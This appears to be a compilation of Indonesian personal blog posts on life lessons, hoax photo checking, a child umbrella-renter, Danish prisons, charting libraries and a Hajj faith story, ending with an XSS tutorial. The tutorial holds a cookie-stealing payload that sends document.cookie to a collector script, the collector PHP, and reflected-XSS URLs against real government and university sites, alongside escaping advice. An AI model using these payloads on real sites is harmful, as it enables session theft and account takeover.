Pelajaran Hidup #2

Kita belajar banyak hal selama hidup. Contoh yang baru saya pelajari adalah ketika kita membesarkan seseorang, namun ketika besar dia justru berbalik dan semua berubah.
Ada beberapa orang yang saya ikhlas dan tidak masalah bahkan senang jika sukses dan melupakan saya. Tapi ada beberapa orang yang justru berbalik menyerang saya, itulah dimana saya merasa menyesal.
Hikmah yang bisa saya dapat adalah mulai dari sekarang saya harus menyeleksi ketat dan berfikir ulang untuk mentransfer sesuatu ke orang lain.

Apa yang diinginkan

Selama ini saya banyak menghabiskan waktu untuk melakukan perbandingan dalam banyak hal yang saya inginkan, baik itu berupa barang, makanan, keinginan, dan lain sebagainya.
Saya menghabiskan banyak waktu dalam melakukan perbandingan dikarenakan saya tidak mengetahui apa yang sebetulnya saya inginkan. Saya melihat pilihan apa saja yang ada dan menyibukkan diri untuk membandingkan semua pilihan dengan kelebihan dan kekurangan yang ada.

Hari ini saya menyadari bahwa yang benar adalah pertama kali kita harus mengetahui apa yang sebenarnya kita inginkan, barulah kita mencari apa yang sesuai dengan kebutuhan kita, dan bukan sebaliknya. Ketika kita mengetahui apa yang benar benar kita butuhkan, maka kita akan mudah dalam mencari apa yang kita inginkan.

Tidak ada kata musibah dalam kamus hidup

Tidak ada kata musibah dalam kamus hidup saya, karena musibah tidak lain adalah bentuk latihan dari Allah SWT agar saya menjadi lebih hebat

Mengetahui sumber dan keaslian foto viral di Internet

Banyak dari kita yang sangat amat mudah percaya dengan suatu yang di lihat di Internet, padahal belum tentu benar dan bisa saja salah dan HOAX. Banyak dari kita yang tidak mengecek apakah suatu foto itu asli atau tidak, lalu kita menshare hanya dengan sekali klik, lalu dilihat oleh orang banyak, dan terus menyebar dan semakin berbahaya. Ayo lah jujur pada diri anda, apakah anda termasuk orang yang seperti itu? Saya pun terkadang masih sering seperti itu.

Menjadi manusia yang bijak dan pintar memang butuh proses dan keinginan. Baiklah tanpa perlu panjang lebar lagi, saya akan menjelaskan bagaimana caranya untuk mengecek sumber dan keaslian suatu foto di internet.

Untuk sebagai case study, saya akan gunakan foto berikut,

Bantuan Presiden

Pertama kali kita melihat foto ini pasti akan marah dan kesal bukan? Orang pintar pasti minum tolak angin tidak akan mudah percaya dan akan melakukan pengecekan terlebih dahulu.

Baiklah langkah pertama jika kamu lihat foto di Internet dan ingin melakukan pengecekan, cara paling ampuh adalah kamu bisa tanya langsung sama yang punya foto, misalnya tanya langsung ke Mr. Presiden karena foto ini menyangkut partainya. Nah berhubung kamu gak mungkin bisa menghubungi Mr. President karena kamu hanya rakyat biasa, kamu bisa gunakan cara kedua, yaitu bertanya ke pakarnya melalaui akun twitternya @KRMTRoySuryo. Jika tweet anda tidak dijawab karena beliau tengah sibuk melihat metadata foto-foto yang lain, maka anda terpaksa harus bertanya kepada paman google dengan cara sebagai berikut,

Buka http://images.google.com/ Lalu Upload foto yang ingin kamu ketahui sumbernya.

google images

Taraaaa, Paman Google akan memberi tahu kamu mengenai semua sumber foto yang terkait, nah kamu bisa lebih pintar untuk melihat sumber, link serta tanggal dimana foto tersebut pertama kali di upload di Internet, Jadi bisa ketahuan kan siapa dalangnya, atau setidaknya siapa yang mulai pertama kali.

bantuan presiden

Baiklah, semoga bermanfaat dan jadilah manusia pintar di abad ini.

Ilmu Baru

Dalam hidup, kita selalu mendapatkan pengalaman baru setiap detiknya. Namun sangat disayangkan banyak orang yang tidak sadar akan hal ini, termasuk saya selama ini. Banyak yang bilang guru yang terbaik adalah kesalahan, ada pula yang bilang bahwa guru terbaik adalah pengalaman. Kurang lebih bagi saya adalah sama, yang intinya kita harus sadar bahwa setiap detiknya dalam setiap kejadian, kita selalu mendapatkan ilmu dan pengalaman baru.

Hanya orang-orang yang diberi anugrahlah yang bisa sadar akan hal tersebut. Singkat cerita, beberapa hari yang lalu saya merenung, mengapa pergerakan serta akselerasi saya kurang cepat dalam beberapa hal akhir-akhir ini. Lalu saya terdasar satu hal, bahwa selama ini memang betul banyak yang saya lakukan, namun lebih banyak lagi adalah waktu saya menunggu hasil dari apa yang saya lakukan. Dan tentunya itu adalah sebuah kebodohan besar. Saya belajar satu hal bahwa tidak seharusnya saya menunggu hasil dari apa yang saya tanam atau lakukan. Terus menanam benih dan bekerja, hasil itu pasti akan ada, lalu untuk apa saya menunggu hasilnya. Semakin banyak saya menanam atau lebih tepatnya dalam kondisi sekarang ini adalah bekerja, maka sudah pasti hasilnya akan ada.

Kedepannya saya akan mencatat di blog ini semua pelajaran hidup yang saya dapat.

Teguh si Ojek Payung

Kemarin saya sedang berada di pasar festival kuningan dan kebetulan suasanya hujan deras. Untuk mencapai tempat parkir saya memutuskan untuk menggunakan jasa ojek payung. Terjadilah percakapan antara saya dengan anak kecil penyedia ojek payung ini, yang kurang lebih seperti ini :

Saya : Ojek payung berapa nih sampai tempat parkir ?

Teguh : Bebas kak, seikhlasnya saja.

Saya : Ok deh, boleh kalau gitu.

Saya : Kamu namanya siapa ?

Teguh : Nama saya Teguh kak,

Saya : Kamu sekolah kelas berapa ?

Teguh : (seingat saya dia menjawab kelas 4)

Saya : Kamu tinggal dimana ?

Teguh : Di kuburan Cina kak

Saya : Owh, gitu, trus ibu kamu kerja apa ?

Teguh : Ibu saya tidak kerja, ia dirumah saja.

Saya : Ayah kamu kerja apa ?

Teguh : (dengan BANGGAnya dia menjawab) Ayah saya kerjanya sebagai Pemulung kak

Saya : (termenung sesaat sambil berfikir) Kamu sekolahnya peringkat berapa ?

Teguh : gak dapet rengking kak

Saya : loh kenapa ?

Teguh : (diam)

Saya : Teguh, kamu harus serius belajar ya, tau gak kenapa ?

Teguh : biar dapat beasiswa kak.

Saya : iya benar, nanti kalau kamu dapat beasiswa, kamu bisa jadi orang hebat dan punya banyak uang.

Teguh : (ternyata dia hanya diam dan mengiyakan kepalanya)

Saya : kamu ojek payung gini sakit gak ?

Teguh : Kadang sakit, kadang engga kak.

Selesailah percakapan saya karena sudah sampai tempat parkir, lalu saya memberikannya uang 5000 dan sebuah permen relaxa, sambil bertanya apakah ini cukup, dan dia bilang cukup kak terima kasih. Lalu saya memberikannya kartu nama saya, dan menyuruhnya untuk mengSMSkan nomornya dia atau Ayahnya. Sambil bertanya apakah kamu punya handphone ?, Ketika iya menjawab tidak, pupuslah harapan saya. Lalu saya berkata, tolong kamu pinjam handphone orang lain dan sms biar saya telfon kamu balik.

Akhirnya saya pulang dan pada malam harinya saya menerima sms dari teguh. Alhamdulillah senang sekali rasanya, saya menelfon balik dan meminta untuk bertemu besok di depan 7-11 pasar festival pukul 2 siang.

Saat saya menuliskan posting ini, saya baru saja tiba dirumah seteleh bertemu teguh dan ayahnya di rumahnya. Rumahnya tepat sekali didalam komplek kuburan cina di daerah kasablanka, namun masuk lagi jauuuuh kedalam. Sampai disini, foto yang akan berbicara, bukan tulisan saya lagi. Mari kita lihat,

Read more

Københavns Fængsler

Penjara, apa kira-kira yang ada dalam benak anda ketika mendengar kata penjara ? 4×4 ? jeruji besi ? kekerasan ? penyiksaan ? Mungkin iya dan benar, karena itu yang kita lihat di Tv selama ini, dan tidak jauh berbeda, bahkan lebih parah pada kenyataannya. Terlepas dari jenis keselahan yang dilakukan oleh si pelaku yang dipenjara, tapi kembali lagi dan tidak lupa bahwa dia pada dasarnya dalah Manusia. Manusia memiliki hak, bahkan jika iya bersalah, iya tetap memiliki haknya. Contohnya pada hukuman mati, orang tersebut memiliki hak untuk meminta permintaan terakhir, dan merupakan sebuah kewajiban negara/pengadilan/polisi untuk mengabulkan permintaan tersangka tersebut.

Ketika berbicara hak dan kewajiban, mari kita lihat apa yang sudah dilakukan oleh Penjara di Kopenhagen, Denmark. Anda mungkin tidak akan percaya bahwa penjara disana memiliki fasilitas Gym, Playstation, Minimarket, Rumah sakit, Musium, Perpustakaan, Gereja, workshop,  internet, tv cable, dll.

Bicara soal minimarket, barang-barang yang dijual sangatlah bervariasi, mulai dari daging, ice cream, bahkan shampo aroma kiwi dan orange. Untuk daging yang dijual terdapat daging bersertifikasi Halal. Jika dilihat dari ketersediaan daging halal ini, berarti tidaklah terdapat pembedaan agama, suku, atau ras bagi para narapidana, dan semuanya sama.

Ter-dapat kulkas, meja dan tempat tidur yang nyaman pada setiap sel. Fasilitas ini bukanlah untuk pejabat, tapi untuk semua penghuni penjara, dari mulai pencuri kelas rendah, hingga pemerkosa atau pedagang narkoba sekalipun. Semua narapidana memiliki sel-nya masing-masing dan tidak dicampur, serta mereka memiliki kunci kamarnya masing-masing.

Tadi saya sempat menyinggung soal mini market, mungkin anda akan bertanya, uang darimana ?. Para narapidana diwajibkan untuk bekerja di workshop dan dibayar sekitar 9 kroner($USD 1.56) per jam, saya ulangi sekali lagi per-jam. perlu diketahui bahwa workshop ini bukan seperti di negara-negara lain, dimana pekerjaan tersebut adalah memecahkan batu, atau membangun rel kereta api, tapi disesuaikan dengan kemampuan narapidana tersebut, misalnya berkebun atau kerajinan, dsb.

Soal makanan, para narapidana lah yang memasak sendiri sesuai selera mereka, bahan makanannya ya dibeli sendiri juga di mini market yang tersedia. dan jika terdapat sesuatu yang tidak terdapat di mini market tersebut, maka narapidana boleh mengusulkan agar barang tersebut dijual di mini market tersebut.

Mengenai hubungan narapidana dengan para polisi penjaga penjara tidak bisa anda bayangkan, mereka sudah seperti keluarga, tidak ada pemisah antara penjaga dengan narapidana dan bahkan sebagian memanggil salah satu penjaga perpustakaan dengan sebutan Mom(Ibu).

Jika anda masuk sebagai narapidana disana, anda akan mendapatkan sebuah buku mengenai hak-hak selama berada di penjara. dalam buku tersebut, terdapat point yang menjelaskan jika ada penjaga yang tidak bersikap baik terhadap narapidana, maka merupakan haknya untuk melaporkan kepada kepala penjara, dan biasanya penjaga tersebut langsung dipindahkan. Dan jika dalam dua minggu tidak terjadi perubahan, maka narapida tersebut boleh menuntut ke pengadilan.

Selain itu, keluarga narapidana yang berada di luar penjara, diberikan uang bulanan untuk kehidupan sehari-hari oleh pemerintah. Anda bisa bayangkan di Indonesia, jika sang ayah mencuri uang demi keluarganya, lalu di penjara, maka matilah keluarga itu karena tidak ada yang memberikan mereka uang. Tapi hal ini sangat berbeda di Kopenhagen, Keluarga narapidana mendapatkan gaji bulanan, sehingga keluarga yang ditinggalkan, tetap bisa hidup berkecukupan.

Pada tahun 2009, terdapat 3530 orang narapidana, dan hanya 20% persen saja yang setelah bebas kembali melakukan kasus hingga harus dipenjara kembali.

Saya sendiri bingung harus menjelaskan apa lagi, mungkin anda bisa langsung saja melihat foto-foto dibawah ini sebagai bukti :

besøgsbygning sabler kirkeskib celle-blf gaardhave til besoegsrum butik - blf dsc_0024 vh undersøgelse tandklinik_1 trapper_i_fløjen biblioteket besøgsrum_3 kirken besøgslokale butik motionscenter madvogn bes_11 bes_4 pf indendørs værksted_

Ultimate Javascript Charting and Graphic Library List

Charting

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.

Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,

Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!

Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.

Pengalaman menjadi Atheis saat beribadah Haji

Singkat cerita kemarin saya hampir saja menjadi Atheis. Iya Atheis ! Anda tidak usah heran jika saya hampir menjadi atheis. Jika orang lain mendapatkan hidayah, saya justru sebaliknya. Dan tahukah anda dimana saya berada waktu itu ? Mina, Makkah. Ya, waktu itu saya sedang melaksanakan ibadah Haji. Hal yang membuat saya hampir gila waktu itu, kenapa sekarang, kenapa saat ini, kenapa jauh-jauh saya datang ke tempat ini justru untuk menjadi orang yang tidak mempercayai tuhan ? Inikah hidayah ?

Setan memang hebat dan pintar, tapi saya lebih hebat lagi dari setan !. Jika anda bertanya, apa yang membuat saya hampir tidak mempercayai keberadaan tuhan ?. Jawabannya adalah sebuah “pertanyaan”. Ada sebuah pertanyaan yang tidak bisa saya jawab saat itu. Dan saya percaya anda pun tidak bisa menjawabnya, oleh karena itu lebih baik tidak perlu saya tulis disini.

Dua hari saya menderita dan hampir gila. lebih gila lagi ketika saya bertemu dengan orang-orang hebat dari seluruh dunia. Orang-orang mulia yang mustahil saya bisa bertemu mereka, tapi ketika saya bisa bertemu langsung dengan mereka, justru saya meragukan keberadaan tuhan. Salah satu-nya adalah Yusuf ‘Abdullah al-Qaradawi. *anda sungguh terlalu kalau tidak tahu siapa beliau tapi tahu siapa Ariel.

Saya mendapatkan kesempatan untuk bisa solat berjamaah disatu ruangan bersama Syeik Yusuf Al-Qaradawi,  Dan tentunya bisa bicara langsung untuk meminta jawaban atas pertanyaan saya. Namun sayangnya setiap kali saya bertemu orang-orang besar disana, selalu saja ada hal yang menghalangi, sehingga lengkap sudah penderitaan saya atas pertanyaan yang tidak saya ketahui jawabannya saat itu.

Anda mungkin bertanya bagaimana mungkin saya bisa bersama orang-orang sekelas Yusuf Al-Qaradawi ?. Singkat cerita 1 minggu sebelum ibadah haji dimulai saya mendapatkan undangan dari Muslim World League untuk melaksanakan ibadah haji. dan ternyata undangan ini untuk orang-orang beruntung dari seluruh dunia dan dijamu disana di satu tempat khusus tamu MWL, mungkin totalnya 160 orang dari seluruh dunia, dan hampir seluruh Top Islamic scholar(Ulama) ada disana setiap waktu.

Ditengah gejolak hati, fikiran, dan kegilaan ini, saya memutuskan menyendiri di kamar setelah letih dua hari mencari jawaban dengan orang-orang mulia ini tapi justru tidak mendapatkan kesempatan, padahal saya berada disatu tempat dengan mereka. Dalam kesendirian ini saya mulai berfikir, kenapa saya harus bertanya kepada orang ? Jika Nabi Ibrahim saja bisa mengetahui siapa Tuhan hanya dengan berfikir saja dan menggunakan otaknya, kenapa saya tidak bisa ?.

Dan ternyata benar, saya mendapatkan jawaban atas pertanyaan saya tanpa bertanya kepada orang, dan cukup menggunakan otak dan berfikir. Siapakah tuhan yang sebenarnya ? Apakah tuhan itu ada ? Dan semua itu terjawab.

Mungkin memang ada hikmahnya saya tidak mendapatkan kesempatan untuk bertanya, karena Tuhan yang sesungguhnya(Allah SWT), ingin saya bisa mengetahuinya sendiri. Inilah hidayah !.

Sekarang Iman saya sangatlah kuat, tidak tergoyahkan lagi oleh pertanyaan-pertanyaan sesat. Akal fikiran kita yang sederhana ini bisa mengantarkan kita kepada hakikat yang sebenarnya jika anda gunakan dengan benar dan ikhlas. Bayangkan jika ditambah dengan kekuatan ilmu, maka Iman pun akan semakin kuat.

Terima kasih Allah, engkau sudah memanggil hambamu ini yang penuh dosa untuk melaksakan ibadah Haji tanpa mengeluarkan uang sepeserpun.

Terima kasih Allah, engkau sudah mengizinkan hambamu ini yang penuh dosa untuk bisa melaksakan ibadah Haji bersama orang-orang mulia yang selama ini hanya bisa saya lihat di TV dan Internet saja.

Terima kasih Allah, engkau sudah memberiku akal fikiran agar bisa menyadari keberadaanmu. Engkau ada, Engkau Satu, Engkau maha segalanya.

Jika hambamu ini berbuat dosa, maka itu berjuta-juta kali lebih baik dibanding tidak mempercai keberadaanmu ya Allah. Terima kasih ya Allah

Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. :D Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam